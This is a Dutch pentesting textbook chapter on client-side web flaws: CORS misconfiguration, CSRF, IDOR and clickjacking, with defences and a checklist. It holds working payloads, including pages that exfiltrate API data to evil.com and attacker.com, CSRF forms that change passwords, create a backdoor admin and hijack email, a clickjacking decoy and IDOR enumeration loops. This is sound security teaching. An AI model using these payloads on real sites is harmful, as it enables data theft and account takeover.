Client-Side Kwetsbaarheden
De browser is een ambassade.
Dat klinkt misschien overdreven, maar het is een verrassend treffende vergelijking. In de wereld van diplomatie is een ambassade soeverein grondgebied. De Franse ambassade in Den Haag is, juridisch gezien, een stukje Frankrijk. De Nederlandse politie mag er niet zomaar naar binnen lopen, ook al staat het gebouw midden in een Nederlandse stad. Er gelden andere regels. Andere wetten. Een andere autoriteit.
Je browser werkt op precies dezelfde manier. Wanneer je inlogt bij je
bank, creëert de browser een soort diplomatieke enclave voor die
banksite. De cookies, de sessiedata, de JavaScript-variabelen – dat is
allemaal soeverein territorium van bank.nl. Een andere
website, zeg evil.com, mag daar niet bij. Niet bij de
cookies, niet bij de DOM, niet bij de API-responses. De browser
handhaaft die grens met de vastberadenheid van een ambassadebewaker die
net zijn koffie op heeft.
Maar wat als iemand de ambassadeur misleidt? Wat als iemand een brief stuurt die er officieel uitziet, met het juiste briefhoofd en de juiste toon, en de ambassadeur overtuigt om gevoelige documenten naar het verkeerde adres te sturen? De bewaker bij de deur heeft niets verkeerds gezien. De brief kwam via het juiste kanaal. Maar het resultaat is desastreus.
Dat is, in essentie, waar dit hoofdstuk over gaat. Client-side kwetsbaarheden misbruiken niet zozeer de server als wel de browser. Ze misleiden die trouwe ambassadebewaker – de Same-Origin Policy, de cookie-jar, de CORS-engine – om dingen te doen die niet de bedoeling waren. En het briljante, of het tragische, afhankelijk van je perspectief, is dat de browser elke keer braaf doet wat hem gevraagd wordt. Hij weet niet beter. Hij volgt de regels. Het zijn de regels die verkeerd zijn geconfigureerd.
11.1 De Same-Origin Policy: het fundament
Voordat we het over de kwetsbaarheden hebben, moeten we het over de verdediging hebben. Want je kunt pas begrijpen hoe iets kapotgaat als je weet hoe het hoort te werken.
De Same-Origin Policy (SOP) is het belangrijkste beveiligingsmechanisme in elke moderne browser. Het concept is simpel: JavaScript op pagina A mag alleen resources benaderen van pagina B als beide pagina’s dezelfde origin delen.
Een origin bestaat uit drie onderdelen:
- Protocol:
httpsvshttp - Hostname:
www.bank.nlvsapi.bank.nl - Poort:
:443vs:8443
Alle drie moeten overeenkomen. Als er ook maar een verschilt, beschouwt de browser het als een andere origin en blokkeert de toegang.
| URL A | URL B | Zelfde origin? | Reden |
|---|---|---|---|
https://bank.nl/home |
https://bank.nl/api/data |
Ja | Zelfde protocol, host, poort |
https://bank.nl |
http://bank.nl |
Nee | Ander protocol |
https://bank.nl |
https://api.bank.nl |
Nee | Ander subdomein |
https://bank.nl |
https://bank.nl:8443 |
Nee | Andere poort |
De SOP is bedacht in 1995, in de vroege dagen van Netscape Navigator. Het was een van die zeldzame beveiligingsbeslissingen die achteraf gezien precies goed was. Zonder de SOP zou elke website die je bezoekt de cookies van elke andere website kunnen lezen. Je bankgegevens, je e-mail, je medische dossiers – alles zou voor het grijpen liggen voor elke pagina met een beetje JavaScript.
Maar de SOP is ook streng. Te streng voor het moderne web, waar een
Single Page Application op app.example.com routinematig
API-calls maakt naar api.example.com. Die twee zijn
technisch gezien verschillende origins. En de SOP blokkeert dat.
Dus bedachten we CORS. En daarmee begonnen de problemen.
11.2 CORS: de uitzondering die de regel brak
Cross-Origin Resource Sharing (CORS) is een mechanisme waarmee servers expliciet kunnen aangeven: “Deze andere origin mag mijn resources benaderen.” Het is een uitzonderingsregel op de SOP. Een achterdeurtje, bewust ingebouwd, met de beste bedoelingen.
Het werkt via HTTP headers. Wanneer JavaScript op
app.example.com een fetch() doet naar
api.example.com, stuurt de browser eerst een
Origin header mee:
GET /api/userinfo HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Cookie: session=abc123
De server bekijkt die Origin header en beslist: vertrouw
ik deze afzender? Als het antwoord ja is, stuurt hij speciale headers
terug:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"user": "admin", "email": "admin@example.com", "role": "superuser"}
De browser leest die response headers en denkt: de server zegt dat
app.example.com deze data mag lezen. Dan laat ik het
toe.
Klinkt redelijk, toch? Het probleem is niet het mechanisme. Het probleem is hoe mensen het configureren.
De vijf dodelijke CORS-zonden
Zonde 1: Reflected Origin
Dit is de meest voorkomende en de meest catastrofale fout. De server
reflecteert blindelings elke Origin header die hij
ontvangt:
# Extreem onveilige Flask configuratie
@app.after_request
def add_cors(response):
origin = request.headers.get('Origin', '')
response.headers['Access-Control-Allow-Origin'] = origin # ELKE origin!
response.headers['Access-Control-Allow-Credentials'] = 'true'
return responseDit is het beveiligingsequivalent van een uitsmijter die tegen iedereen zegt: “Ja, jij staat op de lijst.” Het maakt niet uit wie je bent. Je staat op de lijst. Kom binnen. Neem je vrienden mee.
Zonde 2: Null Origin vertrouwen
Sommige developers weten dat ze niet zomaar elke origin moeten
vertrouwen, dus maken ze een whitelist. Maar ze vergeten dat er een
speciale origin bestaat: null. Die wordt verstuurd
door:
- Pagina’s geladen via
file:// - Sandboxed iframes
- Redirects vanuit
data:URIs
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Een aanvaller kan eenvoudig een null origin forceren via
een sandboxed iframe:
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://target.com/api/userinfo', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Stuur gestolen data naar aanvaller
new Image().src = 'https://evil.com/steal?d='
+ encodeURIComponent(JSON.stringify(data));
})
</script>
"></iframe>De sandbox attribute zonder
allow-same-origin dwingt de origin naar null.
Als de server null vertrouwt, leest de aanvaller de
volledige API-response.
Zonde 3: Regex-bypass
Developers die een whitelist implementeren met regex, maken regelmatig fouten:
# Bedoeling: alleen *.example.com toestaan
if re.match(r'https://.*example\.com', origin):
# Oeps: matcht ook https://evil-example.com
# En: https://example.com.evil.comDe juiste regex zou er zo uitzien:
if re.match(r'^https://([a-z0-9-]+\.)*example\.com$', origin):
# Nu alleen echte subdomeinen van example.comMaar zelfs dan: als de aanvaller een XSS-kwetsbaarheid vindt op
enig subdomein van example.com – zeg
blog.example.com – kan hij die als springplank gebruiken om
CORS-gerelateerde aanvallen uit te voeren op
api.example.com.
Zonde 4: Wildcard met credentials
Volgens de specificatie is dit ongeldig:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browsers weigeren dit te accepteren. Maar sommige servers sturen het toch, en sommige proxy-configuraties “corrigeren” het door de wildcard te vervangen door de reflected origin. Het resultaat is Zonde 1, maar met extra stappen.
Zonde 5: Pre-flight verwaarlozen
Voor “complexe” requests (met custom headers, of met
PUT/DELETE methods) stuurt de browser eerst
een OPTIONS request – de zogenaamde pre-flight
check. Sommige servers beantwoorden die pre-flight met permissieve
headers maar vergeten vervolgens de daadwerkelijke request te
valideren:
OPTIONS /api/admin/users HTTP/1.1
Origin: https://evil.com
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Credentials: true
CORS detectie in de praktijk
De eerste stap bij het testen van CORS-misconfiguratie is simpel:
stuur een request met een willekeurige Origin header en
kijk wat er terugkomt.
# Test of de server elke origin reflecteert
curl -s -H "Origin: https://evil.com" \
-I https://target.com/api/userinfo
# Kijk specifiek naar deze headers:
# Access-Control-Allow-Origin: https://evil.com ← KWETSBAAR
# Access-Control-Allow-Credentials: true ← KRITIEKAls de server je evil.com origin reflecteert en
credentials toestaat, heb je een probleem. Een groot probleem.
Test ook de null-origin variant:
curl -s -H "Origin: null" \
-I https://target.com/api/userinfoEn regex-bypasses:
# Subdomain-bypass
curl -s -H "Origin: https://evil.target.com" -I https://target.com/api/userinfo
# Suffix-bypass
curl -s -H "Origin: https://targetecom.evil.com" -I https://target.com/api/userinfo
# Prefix-bypass
curl -s -H "Origin: https://evil-target.com" -I https://target.com/api/userinfoCORS-exploit: van misconfiguratie naar datadiefstal
Wanneer je een reflected-origin CORS-misconfiguratie hebt gevonden, is exploitatie triviaal. Je host een HTML-pagina op je eigen server die de browser van het slachtoffer instrueert om de kwetsbare API te bevragen:
<!DOCTYPE html>
<html>
<head><title>Totally Legitimate Page</title></head>
<body>
<h1>Bezig met laden...</h1>
<script>
// De browser van het slachtoffer voert dit uit
// met de cookies van target.com
fetch("https://target.com/api/userinfo", {
method: 'GET',
mode: 'cors',
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Stuur alles naar onze server
fetch("https://attacker.com/collect", {
method: 'POST',
body: JSON.stringify(data),
headers: {'Content-Type': 'application/json'}
});
})
.catch(err => console.error('Exploit failed:', err));
</script>
</body>
</html>Het slachtoffer bezoekt deze pagina (via phishing, een
gecompromitteerde site, of een advertentie). De browser laadt de pagina,
voert het JavaScript uit, stuurt een request naar
target.com met de cookies van het slachtoffer, ontvangt de
response (want CORS is misconfigureerd), en stuurt de data door naar de
aanvaller.
Het slachtoffer ziet niets. Geen pop-ups. Geen waarschuwingen. Geen enkel teken dat er iets mis is.
IB – Het command web_cors_exploit in de
Command Library bevat kant-en-klare detectie- en exploitcommando’s voor
CORS-misconfiguratie. De exploit-template gebruikt fetch()
met credentials: 'include' en stuurt de gestolen data via
een tweede fetch() naar je IB-server. Pas het IP-adres aan
naar je listener-interface.
11.3 Cross-Site Request Forgery: de onzichtbare hand
Als CORS-misconfiguratie de ambassadeur misleidt om documenten te lezen, dan is Cross-Site Request Forgery (CSRF) de truc waarbij de ambassadeur wordt misleid om documenten te ondertekenen.
Bij CSRF voert het slachtoffer onbedoeld een actie uit op een website waar hij ingelogd is, getriggerd door een pagina die de aanvaller controleert. De aanvaller hoeft de response niet te lezen – hij wil alleen dat de actie uitgevoerd wordt.
Hoe CSRF werkt
De kern van CSRF is verbluffend simpel:
- Het slachtoffer is ingelogd bij
bank.nl(heeft een geldig sessiecookie) - Het slachtoffer bezoekt een pagina van de aanvaller
- Die pagina bevat code die een request stuurt naar
bank.nl - De browser voegt automatisch het sessiecookie toe
bank.nlontvangt een geldig, geauthenticeerd request- De bank voert de actie uit – het was immers een geldig request
De server kan niet zien of het request afkomstig is van de gebruiker die bewust op een knop heeft geklikt, of van een verborgen formulier op een malafide website. Beide requests zijn identiek.
Het is alsof iemand je hand pakt terwijl je slaapt en je handtekening zet onder een contract. De handtekening is echt. De intentie niet.
GET-gebaseerde CSRF
De meest triviale vorm. Als een applicatie state-changing operaties toestaat via GET-requests, is exploitatie zo simpel als een afbeeldingslink:
<!-- Slachtoffer laadt dit in zijn browser -->
<!-- De browser stuurt een GET request met cookies -->
<img src="https://bank.nl/transfer?to=evil&amount=10000" width="0" height="0">De browser denkt dat hij een afbeelding laadt. In werkelijkheid stuurt hij een GET-request naar de bank, compleet met sessiecookie. De bank ziet een geldig request en voert de transactie uit.
Dit is waarom de HTTP-specificatie zegt dat GET-requests idempotent moeten zijn en geen side effects mogen hebben. GET is voor het ophalen van data. Niet voor het wijzigen ervan. Maar specificaties zijn als snelheidslimieten: iedereen weet dat ze bestaan, en bijna niemand houdt zich eraan.
POST-gebaseerde CSRF
De meeste applicaties gebruiken POST voor state-changing operaties. Dat maakt het iets moeilijker, maar niet veel:
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/account/email">
<input type="hidden" name="email" value="evil@attacker.com">
</form>
</body>
</html>De pagina laadt, het formulier wordt automatisch gesubmit, en het e-mailadres van het slachtoffer wordt gewijzigd naar dat van de aanvaller. Vervolgens kan de aanvaller een wachtwoord-reset aanvragen en het account overnemen.
Dit is een aanval die letterlijk twee regels JavaScript kost en die complete accounts kan overnemen. Twee regels. Geen hacking tools. Geen exploit kits. Gewoon een HTML-formulier.
JSON-gebaseerde CSRF
Moderne applicaties gebruiken vaak JSON-bodies in plaats van
form-encoded data. Dat biedt enige bescherming, want standaard
HTML-formulieren kunnen geen Content-Type: application/json
header sturen. Maar er zijn manieren omheen:
<html>
<body>
<form method="POST" action="https://target.com/api/account/update"
enctype="text/plain">
<input name='{"email":"evil@attacker.com","ignore":"' value='"}' type="hidden">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>Dit genereert een body die er zo uitziet:
{"email":"evil@attacker.com","ignore":"="}
Geen geldige JSON als de server strikt parst, maar veel JSON-parsers
accepteren trailing data of extra velden. Het
enctype="text/plain" zorgt ervoor dat de browser de data
als platte tekst stuurt, zonder URL-encoding.
Als de server Content-Type niet valideert, werkt dit. En
veel servers valideren dat niet.
De IB CSRF Lab
Incompetent Bastard bevat een ingebouwde CSRF-lab die je kunt
gebruiken om CSRF-payloads te testen en te demonstreren. De lab is
geimplementeerd in meuk/flask/csrf.py en biedt twee
endpoints:
# csrf_bp blueprint registratie
csrf_bp = Blueprint('csrf_bp', __name__,
template_folder='html',
static_folder='static')
# Endpoint 1: /csrf.js — Levert een JavaScript payload
@csrf_bp.route("/csrf.js", methods=["GET", "POST"])
def csrf_js():
# Retourneert JavaScript met no-cache headers
# Content-Type: text/javascript
# Endpoint 2: /csrf/inject.html — Levert een CSRF-injectiepagina
@csrf_bp.route("/csrf/inject.html", methods=["GET", "POST"])
def csrf_pagina():
# Retourneert een HTML payloadHet /csrf.js endpoint is bijzonder interessant. Het
dient als een JavaScript-bestand dat je kunt injecteren via een
XSS-kwetsbaarheid in het doelwit. De no-cache headers
(Cache-Control: no-cache, no-store, must-revalidate) zorgen
ervoor dat de browser altijd de nieuwste versie ophaalt – handig als je
de payload aanpast tijdens een test.
Het /csrf/inject.html endpoint levert een volledige
HTML-pagina die als CSRF proof-of-concept kan dienen.
IB – De CSRF-lab endpoints accepteren zowel GET als
POST requests. Bewerk de pagina-variabelen in
meuk/flask/csrf.py om je eigen payloads in te voegen. Het
/csrf.js endpoint is ideaal als XSS-payload: als je een
reflected XSS hebt gevonden, gebruik dan
<script src="http://IB_IP:5000/csrf.js"></script>
om je CSRF-payload te laden. De no-cache headers garanderen dat elke
wijziging direct actief is.
CSRF-payloads voor verschillende scenario’s
Scenario 1: Wachtwoord wijzigen (form-based)
<html>
<body>
<form id="csrfForm" method="POST"
action="https://target.com/account/password">
<input type="hidden" name="new_password" value="Pwned2026!">
<input type="hidden" name="confirm_password" value="Pwned2026!">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>Scenario 2: Admin-gebruiker aanmaken (JSON API)
<script>
fetch('https://target.com/api/admin/users', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
username: 'backdoor',
password: 'SuperSecret123!',
role: 'admin'
})
});
</script>Let op: dit werkt alleen als de server geen CORS-restrictie heeft op het endpoint, of als je de payload via XSS injecteert op dezelfde origin.
Scenario 3: Account-overname via e-mail wijziging
<html>
<body>
<iframe style="display:none" name="csrf_frame"></iframe>
<form method="POST" action="https://target.com/account/email"
target="csrf_frame" id="csrfForm">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>
document.getElementById('csrfForm').submit();
// Na 2 seconden: redirect naar onschuldige pagina
setTimeout(() => window.location = 'https://google.com', 2000);
</script>
</body>
</html>Het target="csrf_frame" zorgt ervoor dat de response in
een verborgen iframe wordt geladen, zodat het slachtoffer niet merkt dat
er iets gebeurt. De redirect na twee seconden maakt de aanval nog
onzichtbaarder.
CSRF-bescherming: hoe het hoort
Anti-CSRF tokens
De standaardoplossing: genereer een willekeurig token per sessie (of per request), neem het op in elk formulier als hidden field, en valideer het server-side:
<form method="POST" action="/account/email">
<input type="hidden" name="csrf_token"
value="a8f2e1b4c9d73f0e6521ab84d396fe7c">
<input type="text" name="email">
<button type="submit">Wijzig e-mail</button>
</form># Server-side validatie
@app.route('/account/email', methods=['POST'])
def change_email():
if request.form.get('csrf_token') != session.get('csrf_token'):
abort(403, 'Invalid CSRF token')
# Ga door met de operatieEen aanvaller op evil.com kan dit token niet lezen (SOP
voorkomt dat) en kan dus geen geldig formulier construeren.
SameSite cookies
De modernere oplossing. Het SameSite attribuut op
cookies vertelt de browser wanneer hij cookies mag meesturen bij
cross-site requests:
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
| Waarde | Gedrag |
|---|---|
Strict |
Cookie wordt nooit meegestuurd bij cross-site requests |
Lax |
Cookie wordt meegestuurd bij top-level GET navigatie, niet bij POST/iframe/fetch |
None |
Cookie wordt altijd meegestuurd (vereist Secure
flag) |
Lax is sinds 2020 de default in Chrome. Dit blokkeert de
meeste CSRF-aanvallen, maar niet allemaal – GET-gebaseerde CSRF werkt
nog steeds met Lax.
Double Submit Cookie
Een variant waarbij het CSRF-token zowel in een cookie als in de request-body wordt meegestuurd. De server vergelijkt beide. Omdat een aanvaller cookies kan sturen (via de browser) maar niet kan lezen of schrijven, kan hij het token niet in de request-body opnemen.
IB – Flask-WTF genereert automatisch CSRF-tokens voor formulieren. Wanneer je een applicatie test die Flask-WTF of een vergelijkbaar framework gebruikt, controleer dan of alle state-changing endpoints het token valideren. Het is verrassend gebruikelijk dat sommige endpoints het token vereisen en andere niet – vooral API-endpoints die later zijn toegevoegd.
11.4 Insecure Direct Object References: de sleutel past overal
Er is iets fundamenteel mis met hoe veel applicaties objecten adresseren. Ze gebruiken voorspelbare, sequentiele identifiers in hun URLs en API-calls, en vertrouwen erop dat de gebruiker alleen zijn eigen objecten opvraagt.
Dat is alsof een hotel kamernummers op de sleutels zet en erop vertrouwt dat gasten alleen hun eigen kamerdeur openen. Technisch gezien past de sleutel van kamer 237 alleen op kamer 237. Maar wat als alle kamers hetzelfde slot hebben, en het enige verschil het nummer is dat je opgeeft?
Insecure Direct Object Reference (IDOR) is precies dat. De applicatie gebruikt een identifier – een getal, een UUID, een bestandsnaam – om een object op te halen, maar controleert niet of de ingelogde gebruiker dat object ook mag zien.
Horizontale en verticale privilege-escalatie
IDOR kent twee smaken:
Horizontale escalatie: Gebruiker A benadert de data van Gebruiker B. Beide hebben hetzelfde privilege-niveau, maar de data is niet van hen.
# Je eigen profiel:
GET /api/user/profile?id=1337
# Het profiel van iemand anders:
GET /api/user/profile?id=1338
Verticale escalatie: Een gewone gebruiker benadert admin-functionaliteit.
# Gewone gebruiker:
GET /api/user/profile?id=1337
# Admin-account:
GET /api/user/profile?id=1
In de praktijk is IDOR vaak de snelste weg naar gevoelige data. Geen SQL injection nodig, geen XSS, geen ingewikkelde exploits. Gewoon een getal veranderen.
IDOR-patronen in het wild
Numerieke IDs in URLs
Het klassieke geval:
GET /api/invoices/4521 → Je eigen factuur
GET /api/invoices/4522 → Factuur van iemand anders
GET /api/invoices/1 → Waarschijnlijk de eerste factuur ooit
Bestandsnamen als referentie
GET /docs/?f=report_1337.pdf → Je eigen rapport
GET /docs/?f=report_1338.pdf → Rapport van een ander
GET /docs/?f=report_1.pdf → Het allereerste rapport
UUIDs die niet willekeurig zijn
UUID v1 is gebaseerd op timestamp en MAC-adres. Als je een UUID v1 ziet, kun je de andere UUIDs berekenen in plaats van raden:
550e8400-e29b-11d4-a716-446655440000 ← UUID v1: timestamp zichtbaar
Volgorde is voorspelbaar
UUID v4 is willekeurig en daardoor veel moeilijker te raden. Maar: zoek in HTML-broncode, JavaScript-bestanden, API-responses en error messages. UUIDs lekken vaker dan je zou denken.
HTTP-method IDOR
Soms blokkeert de applicatie alleen specifieke HTTP-methods:
# Geen toegang:
GET /api/user/1337 → 403 Forbidden
# Maar DELETE werkt wel:
DELETE /api/user/1337 → 200 OK
# Oeps, gebruiker verwijderdDit is het beveiligingsequivalent van een deur op slot doen maar het raam open laten staan.
Parameter pollution
Wanneer dezelfde parameter meerdere keren wordt meegestuurd, reageert elke technologie anders:
GET /api/user?id=1337&id=1338
| Technologie | Gedrag |
|---|---|
| PHP | Gebruikt de laatste waarde: 1338 |
| ASP.NET | Combineert: 1337,1338 |
| Node.js (Express) | Array: [1337, 1338] |
| Python (Flask) | Eerste waarde: 1337 |
Dit leidt tot verwarring als de autorisatiecheck een andere waarde gebruikt dan de data-ophaling.
IDOR testen met IB
# Simpele IDOR-scan: itereer over ID-waarden en vergelijk response-grootte
for i in $(seq 1 1000); do
echo "$i: $(curl -s -b 'session=YOUR_COOKIE' \
http://target.com/api/user?id=$i -w '%{size_download}')"
done
# Filter op unieke response-groottes om interessante resultaten te vinden
for i in $(seq 1 1000); do
curl -s -b 'session=YOUR_COOKIE' \
http://target.com/api/user?id=$i -o /dev/null \
-w "$i:%{size_download}:%{http_code}\n"
done | sort -t: -k2 -n | uniq -f1Met Burp Suite Intruder is het nog eenvoudiger: markeer het ID als payload position, stel het payload type in op Numbers (1-10000), en sorteer de resultaten op response size of status code.
IB – Het command web_idor in de Command
Library bevat templates voor numerieke ID-iteratie, document-IDOR,
UUID-hunting en HTTP-method switching. Combineer het met de IB Command
pagina om snel curl-commando’s te genereren met het juiste cookie en
target. Controleer altijd zowel horizontale als verticale IDOR: test
niet alleen andere gebruikers-IDs, maar ook of je als gewone gebruiker
admin-endpoints kunt bereiken.
IDOR-automatisering met Burp Intruder
Een systematische IDOR-test met Burp Suite:
1. Intercept een legitiem request naar /api/user?id=YOUR_ID
2. Stuur naar Intruder (Ctrl+I)
3. Markeer het ID als payload position: id=§1337§
4. Payload type: Numbers
- From: 1
- To: 10000
- Step: 1
5. Start de aanval
6. Sorteer op:
- Response length (ander = mogelijk data-lek)
- Status code (200 = toegang, 403 = geblokkeerd)
- Specifieke string (zoek op "admin", "email", etc.)
Let op: als alle responses dezelfde grootte hebben maar allemaal 200 retourneren, controleer dan de inhoud. Sommige applicaties retourneren altijd 200 maar geven een lege body of een generiek bericht als je geen toegang hebt.
11.5 Clickjacking: de onzichtbare laag
Clickjacking is de aanval waarbij je een gebruiker laat klikken op iets anders dan wat hij denkt te zien. De techniek is eenvoudig: laad de doelwebsite in een transparant iframe, positioneer het over een aantrekkelijke knop, en wacht tot het slachtoffer klikt.
<!DOCTYPE html>
<html>
<head>
<style>
/* Verberg het target-iframe */
#target-frame {
position: absolute;
top: 0;
left: 0;
width: 500px;
height: 400px;
opacity: 0.0001; /* Bijna onzichtbaar */
z-index: 2; /* Boven de nep-content */
}
/* De lokpagina */
#decoy {
position: absolute;
top: 0;
left: 0;
z-index: 1;
}
#decoy button {
margin-top: 120px;
margin-left: 50px;
font-size: 24px;
padding: 15px 30px;
cursor: pointer;
}
</style>
</head>
<body>
<!-- Het doelwit, geladen in een onzichtbaar iframe -->
<iframe id="target-frame"
src="https://target.com/account/delete-account">
</iframe>
<!-- Wat het slachtoffer ziet -->
<div id="decoy">
<h1>Je hebt een prijs gewonnen!</h1>
<button>Claim je prijs!</button>
</div>
</body>
</html>Het slachtoffer ziet een knop die zegt “Claim je prijs!” en klikt erop. In werkelijkheid klikt hij op de “Verwijder mijn account”-knop van de doelwebsite.
Het is een truc die zo oud is als het web zelf, en die nog steeds werkt op verrassend veel sites.
Clickjacking-bescherming
X-Frame-Options header
X-Frame-Options: DENY # Mag nooit in een iframe
X-Frame-Options: SAMEORIGIN # Alleen dezelfde origin mag inframen
X-Frame-Options: ALLOW-FROM https://trusted.com # Deprecated
Content-Security-Policy: frame-ancestors
De modernere variant, met meer flexibiliteit:
Content-Security-Policy: frame-ancestors 'none'; # Zelfde als DENY
Content-Security-Policy: frame-ancestors 'self'; # Zelfde als SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' https://partner.com; # Specifieke origins
frame-ancestors in CSP vervangt effectief
X-Frame-Options en wordt door alle moderne browsers
ondersteund.
JavaScript frame-buster (legacy)
Oudere oplossing, minder betrouwbaar:
// Breek uit het iframe
if (top !== self) {
top.location = self.location;
}Dit kan worden omzeild door het sandbox attribuut op het
iframe, dat JavaScript-navigatie blokkeert:
<iframe sandbox="allow-forms" src="https://target.com/account/delete">Vertrouw niet op JavaScript als enige clickjacking-bescherming.
11.6 Alles samenvoegen: een client-side aanvalsketen
In de praktijk staan client-side kwetsbaarheden zelden op zichzelf. Een realistische aanvalsketen combineert meerdere technieken:
1. Ontdek reflected XSS op blog.target.com
↓
2. Gebruik XSS om CSRF-token te extraheren van dezelfde origin
↓
3. Gebruik het token om een CSRF-aanval uit te voeren:
e-mailadres van admin wijzigen
↓
4. Vraag wachtwoord-reset aan op het nieuwe e-mailadres
↓
5. Log in als admin
↓
6. Gebruik IDOR op admin-panel om alle gebruikersdata te downloaden
Elke stap op zich is misschien een “medium” bevinding. Samen vormen ze een complete account-overname. Dit is waarom het belangrijk is om niet alleen individuele kwetsbaarheden te rapporteren, maar ook de keten te demonstreren.
Een ontwikkelaar die hoort “er is een CSRF op het e-mail-wijzigingsendpoint” knikt beleefd en zet het op de backlog. Een ontwikkelaar die hoort “ik heb via deze keten het admin-account overgenomen” belt meteen het crisisteam.
11.7 Verdediging: de complete client-side beveiligingschecklist
| Maatregel | Beschermt tegen | Implementatie |
|---|---|---|
| CSRF tokens | CSRF | Token per sessie in elk muterend formulier; server-side validatie |
| SameSite cookies | CSRF | SameSite=Strict of Lax op
sessiecookies |
| CORS policy | CORS-misconfig | Expliciete whitelist van origins; nooit reflected origin |
| X-Frame-Options | Clickjacking | DENY of SAMEORIGIN header |
| CSP frame-ancestors | Clickjacking | frame-ancestors 'none' of 'self' |
| Autorisatiechecks | IDOR | Server-side check: “mag deze gebruiker dit object zien?” |
| Content-Security-Policy | XSS, data-exfil | Restrictieve CSP; geen unsafe-inline |
| Cookie flags | Sessiediefstal | Secure; HttpOnly; SameSite=Lax |
Laten we hier even stilstaan bij het feit dat de meeste client-side kwetsbaarheden die we in dit hoofdstuk hebben besproken, te voorkomen zijn met het instellen van een paar HTTP-headers. Een paar regels tekst. Meer niet. Geen complexe architectuur, geen dure tooling, geen team van tien security engineers. Gewoon headers.
Maar nee. We hebben liever uitgebreide “security awareness trainingen” waarbij iemand van HR een PowerPoint presenteert over het belang van “cyberhygiene”, terwijl de productie-API op datzelfde moment elke Origin header reflecteert als een papegaai die net geleerd heeft wat CORS is. De training kost vijftigduizend euro per jaar. De CORS-fix kost drie regels in nginx.conf. Raad eens welke we kiezen.
11.8 IB Quick Reference
| Topic | IB Command / Lab | Beschrijving |
|---|---|---|
| CORS detectie | web_cors_exploit |
curl-gebaseerde CORS-detectie: reflected origin, null origin, regex bypass |
| CORS exploit | web_cors_exploit |
HTML/JS exploit-template met fetch() en credential
stealing |
| CSRF payloads | CSRF Lab (/csrf/inject.html) |
Configureerbare CSRF proof-of-concept pagina |
| CSRF via XSS | CSRF Lab (/csrf.js) |
JavaScript CSRF-payload voor injectie via XSS |
| IDOR testing | web_idor |
Templates voor numerieke ID-iteratie, UUID-hunting, method-switch |
| IDOR automation | web_idor |
Burp Intruder configuratie en curl one-liners |
Samenvatting
De browser is een goedwillende maar naieve ambassadeur. Hij volgt de regels die hij krijgt, maar hij kan niet beoordelen of die regels kloppen. CORS-misconfiguratie vertelt hem dat elke buitenlandse delegatie vertrouwd is. CSRF laat hem documenten ondertekenen namens iemand anders. IDOR opent elke deur als je het juiste kamernummer noemt. En clickjacking legt een onzichtbare laag over alles.
De verdediging is niet ingewikkeld. Het is zelfs beschamend eenvoudig. Maar “eenvoudig” en “gedaan” zijn twee heel verschillende dingen.
In het volgende hoofdstuk verleggen we onze aandacht van de browser naar de poort: authenticatie en sessiemanagement. Want als de deur open is, maakt het niet meer uit hoe goed je ramen zijn.